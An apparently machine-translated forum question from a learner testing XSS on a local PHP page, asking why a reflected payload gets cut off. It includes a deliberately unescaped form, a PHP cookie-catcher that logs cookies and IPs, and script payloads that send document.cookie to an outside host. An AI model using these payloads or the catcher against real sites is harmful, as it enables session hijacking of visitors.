Я изучаю, как работает XSS и как далеко могут использовать злоумышленники, чтобы нанести ущерб моим посетителям. я прочитал в W3Schools, что с помощью $ _SERVER [ «PHP_SELF»], чтобы повторить текущий файл, как это:XSS url Reflection: form tags
<form method="post" action="<?php echo $_SERVER['PHP_SELF'];?>">
без использования htmlspecialchars() может сделать мое приложение уязвимым для XSS, поэтому я сделал очень простую тестовую страницу на моем локальном хосте, вот источник:
<!DOCTYPE html>
<html>
<body>
<form method="post" action="<?php echo $_SERVER['PHP_SELF'];?>">
Name: <input type="text" name="fname">
<input type="submit">
</form>
<?php
if ($_SERVER["REQUEST_METHOD"] == "POST") {
// collect value of input field
$name = $_REQUEST['fname'];
if (empty($name)) {
echo "Name is empty";
} else {
echo $name;
}
}
?>
</body>
</html>
эту страницу уязвима как для XSS хранящегося и XSS отраженном. Сначала я попробовал следующую полезную нагрузку с URL:
localhost:553/xss test.php/"><script>alert(1)</script>
и выскочило окно предупреждения, и все было хорошо, попробовал то же самое с формой ввода, и она работала также, я пытался захватить печенье с PHP и сделал следующий скрипт для захвата печенье:
<?php
$cookie = $_GET['c']; //This obtains a value of variable c in url passed by GET method of HTTP and stores it in $cookie
$ip = getenv ('REMOTE_ADDR'); // Gets the value of an environment variable which denotes the IP of client and stores it in $ip
$date = date ("j F, Y, g:i a"); //Records the Date and Time of capture
$referer = getenv ('HTTP_REFERER'); //Gets the value of an environment variable which denotes the site which redirected to your cookie catcher and stores it in $referer
$fp = fopen ('kendo.html','a'); //opening a file kendo.html in append mode in which details will be stored
fwrite ($fp, 'Cookie :'.$cookie.'<br/> IP :'.$ip.'<br/> Date and Time :'.$date.'<br/> Referer : '.$referer.'<br>'); //passing the reference of file kendo.html and passing the rest of the details we obtained
fclose ($fp); //closing the file reference
header ('Location: http://example.com/'); //Redirecting the client back to page you wish
?>
загрузив его на мой сайт и попытался следующую полезную нагрузку с XSS сохраненную:
<script>document.location="http://example.com/404.php?c=" + document.cookie</script>
, где 404.php мое печенье зрелище он работал отлично, но когда я попробовал то же самое с URL, как это:
localhost:553/xss test.php/"><script>document.location="http://www.example.com/404.php?c=" + document.cookie</script>
ничего не произошло, я посмотрел на источнике и нашел это:
<!DOCTYPE html>
<html>
<body>
<form method="post" action="/xss test.php/"><script>document.location="http://example.com/404.php">
Name: <input type="text" name="fname">
<input type="submit">
</form>
</body>
</html>
что-то перечеркнуло остальную часть моей полезной нагрузки, я продолжал искать 2 дня для основной причины этого, но я не смог выяснить, почему, попробовал другие функции, такие как window.location, и получил тот же результат ... зачем что-то как это происходит?